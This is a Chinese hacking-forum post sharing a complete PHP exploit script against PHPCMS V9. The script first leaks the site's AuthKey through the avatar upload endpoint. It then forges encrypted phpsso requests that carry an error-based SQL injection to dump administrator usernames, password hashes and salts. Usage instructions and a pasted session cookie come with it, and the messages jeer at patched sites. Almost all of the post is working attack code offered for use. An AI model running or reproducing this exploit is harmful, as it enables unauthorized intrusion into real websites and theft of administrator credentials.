搜索
查看: 904|回复: 0

PHPCMSV9 AuthKey泄露导致注入EXP

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-8-23 21:42:37 | 显示全部楼层 |阅读模式
参考:
http://www.wooyun.org/bugs/wooyun-2014-066394

  1. <?php
  2. /**
  3. * Created by 独自等待
  4. * Date: 2015/7/17
  5. * Time: 21:23
  6. * Name: phpcmsv9_authkey_exp.php
  7. * 独自等待博客:http://www.waitalone.cn/
  8. */
  9. print_r('
  10. +-------------------------------------------------------------+
  11.                PHPCMS_V9 AuthKey泄露导致注入EXP
  12.                Site:http://www.waitalone.cn/
  13.                   Exploit BY: 独自等待
  14.                     Time:2015-07-17
  15. +-------------------------------------------------------------+
  16. ');
  17. if ($argc < 2) {
  18.     print_r('
  19. +-------------------------------------------------------------+
  20. Useage: php ' . $argv[0] . ' phpcmsv9_website
  21. Example: php ' . $argv[0] . ' http://www.waitalone.cn/
  22. +-------------------------------------------------------------+
  23.     ');
  24.     exit;
  25. }
  26. error_reporting(0);

  27. //统计时间
  28. $start_time = func_time();
  29. $phpcmsv9 = $argv[1];
  30. if (substr($phpcmsv9, -1) != '/') $phpcmsv9 .= '/';
  31. //请先添加cookie
  32. $cookie = 'PXVhx_siteid=8683CAcBUlQAAVYCAgMDVAFUAlFRDlpQUFRQAAhT; PXVhx_admin_email=5f94VlYDBFMFAwEIAgBRB1AHBABVAQ8DAwVTBFFOWVhXDAYmEFpETURCH1tdCA; PXVhx_sys_lang=ca1aUgQIAAUFBAQHUVoNVFRaVl1RVAhSUwAPAgNMWktXDw; PXVhx_auth=a8daVAYDAgcBU1ZUUghSCVUGB1UEVAAAAVYCAAsDVQ5VYV8hfnJFenchMD0rc2B1did3c3I5V0F1ZydKeXclajNhVDJuY1VicCIBEDRlcH1%2FJGBncjcnVWlxDWtvYSJ9I3ZfCGRwY2J%2FIgEpJ3FndXY; PXVhx__userid=1236A1ICUlICBlMAAlYGUQYDUFIADwRVAA8HUl9S; PXVhx__username=c7a4BQIGCFIIBgAGUw4JDFtaB1EKXl0DBFVXVgdHV1MG; PXVhx__groupid=b908UgkEAlYIAwNUB1FdA1cAAwNSVlQFVAADD1IC; PXVhx__nickname=ae50BFEGAwgBCFJTAQQJXVEAAAFXWQZWUwZQAlFCWANX; PHPSESSID=qcu6l2o5ksobnv4s5q6r2lesa1; sYQDUGqqzHusername=safe';

  33. //核心代码,注入获取管理员账号及密码
  34. $sql_admin = sql_inject();
  35. $count = count($sql_admin);
  36. if ($count != 0) {
  37.     echo '恭喜大爷,成功获取到[ ' . $count . ' ]个管理员账号!' . "\n\n";
  38.     foreach ($sql_admin as $num => $admin) {
  39.         echo '管理员' . ($num + 1) . ' => ' . $admin . PHP_EOL;
  40.     }
  41. } else {
  42.     exit('杯具了大爷,此站漏洞已经修补,请秒下一个!');
  43. }
  44. //发送数据包函数
  45. function get_data($target)
  46. {
  47.     //控制http发包参数
  48.     global $cookie;
  49.     $opts = array(
  50.         'http' => array(
  51.             'method' => "GET",
  52.             'timeout' => 30,
  53.             'header' => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\r\n" .
  54.                 "Cookie: $cookie\r\n"
  55.         )
  56.     );
  57.     $context = stream_context_create($opts);
  58.     $content = file_get_contents($target, false, $context);
  59.     return $content;
  60. }

  61. //获取authkey函数
  62. function authkey()
  63. {
  64.     $authkey = '';
  65.     global $phpcmsv9;
  66.     $avatar_url = $phpcmsv9 . 'index.php?m=member&c=index&a=account_manage_avatar&t=1';
  67.     $upurl = get_data($avatar_url);
  68.     if (preg_match('/\'upurl\':"(.+?)&callback=return_avatar/', $upurl, $match)) {
  69.         $key_url = base64_decode($match[1]);
  70.         $key_url = str_replace('uploadavatar', 'getapplist', $key_url);
  71.         $auth_url = get_data($key_url);
  72.         if (preg_match('/"authkey";s:32:"(.*?)"/', $auth_url, $au_match)) {
  73.             echo '成功获取到AuthKey:' . $au_match[1] . "\n\n";
  74.             $authkey = $au_match[1];
  75.         }
  76.     }
  77.     return $authkey;
  78. }

  79. //SQL注入函数
  80. function sql_inject()
  81. {
  82.     global $phpcmsv9;
  83.     $limit = 10; //默认显示多少个管理员账号
  84.     $admin = array();
  85.     $key = authkey();
  86.     for ($i = 0; $i < $limit; $i++) {
  87.         $code = sys_auth("action=synlogin&uid=1' and(select 1 from(select count(*),concat((select (select (
  88.         SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit $i,1)) from
  89.         information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#", 'ENCODE', $key);
  90.         $target = $phpcmsv9 . '/api.php?op=phpsso&code=' . $code;
  91.         #$target = $phpcmsv9 . 'phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=' . $code;
  92.         $content = get_data($target);
  93.         if (preg_match('/~(.+?)~1/', $content, $match)) {
  94.             $admin[] = $match[1];
  95.         } else {
  96.             break;
  97.         }
  98.     }
  99.     return $admin;
  100. }

  101. //phpcms authkey加密函数
  102. function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
  103. {
  104.     $key_length = 4;
  105.     $key = md5($key);
  106.     $fixedkey = hash('md5', $key);
  107.     $egiskeys = md5(substr($fixedkey, 16, 16));
  108.     $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
  109.     $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
  110.     $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
  111.     $i = 0;
  112.     $result = '';
  113.     $string_length = strlen($string);
  114.     for ($i = 0; $i < $string_length; $i++) {
  115.         $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
  116.     }
  117.     if ($operation == 'ENCODE') {
  118.         return $runtokey . str_replace('=', '', base64_encode($result));
  119.     } else {
  120.         if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
  121.             return substr($result, 26);
  122.         } else {
  123.             return '';
  124.         }
  125.     }
  126. }

  127. //时间统计函数
  128. function func_time()
  129. {
  130.     list($microsec, $sec) = explode(' ', microtime());
  131.     return $microsec + $sec;
  132. }

  133. echo "\n脚本执行时间:" . round((func_time() - $start_time), 4) . '秒';
复制代码
使用方法:

Example: php phpcmsv9_authkey_exp.php http://www.chinabaiker.com/

由于获取AuthKey需要注册用户并登录,请在使用脚本前先把你登录以后的cookie写入脚本中,可能的话把User-Agent也改成你自己的吧。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表